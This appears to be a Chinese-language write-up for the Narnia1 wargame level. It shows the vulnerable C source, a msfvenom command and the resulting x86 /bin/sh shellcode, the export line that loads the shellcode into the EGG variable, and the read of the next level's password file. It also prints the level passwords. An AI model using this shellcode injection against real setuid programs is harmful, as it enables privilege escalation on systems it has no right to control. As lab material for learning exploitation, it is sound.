二进制学习之narnia1

密码:narnia1:efeidiedae

分析

查看narnia1.c

#include 
int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}
n

这里判断egg环境变量是否存在,若不存在,报错后退出,若存在,执行该变量内容,因此可以通过构造egg变量获取高权限bash
在这里插入图片描述

构造

msfvenom构造shellcode

msfvenom -p linux/x86/exec CMD=/bin/sh  -b "\x00" -f c

得到shellcode

"\xbe\xef\x99\xa1\xd7\xdb\xde\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x0b\x83\xc7\x04\x31\x77\x11\x03\x77\x11\xe2\x1a\xf3\xaa\x8f\x7d\x56\xcb\x47\x50\x34\x9a\x7f\xc2\x95\xef\x17\x12\x82\x20\x8a\x7b\x3c\xb6\xa9\x29\x28\xc0\x2d\xcd\xa8\xfe\x4f\xa4\xc6\x2f\xe3\x5e\x17\x67\x50\x17\xf6\x4a\xd6"

二进制学习之narnia1_第1张图片
设置EGG环境变量

export EGG=$(python -c 'print "\xbe\xef\x99\xa1\xd7\xdb\xde\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x0b\x83\xc7\x04\x31\x77\x11\x03\x77\x11\xe2\x1a\xf3\xaa\x8f\x7d\x56\xcb\x47\x50\x34\x9a\x7f\xc2\x95\xef\x17\x12\x82\x20\x8a\x7b\x3c\xb6\xa9\x29\x28\xc0\x2d\xcd\xa8\xfe\x4f\xa4\xc6\x2f\xe3\x5e\x17\x67\x50\x17\xf6\x4a\xd6"')

获取权限

./narnia1
cat /etc/narnia_pass/narnia2
获取密码 narnia2:nairiepecu

二进制学习之narnia1_第2张图片

你可能感兴趣的:(逆向)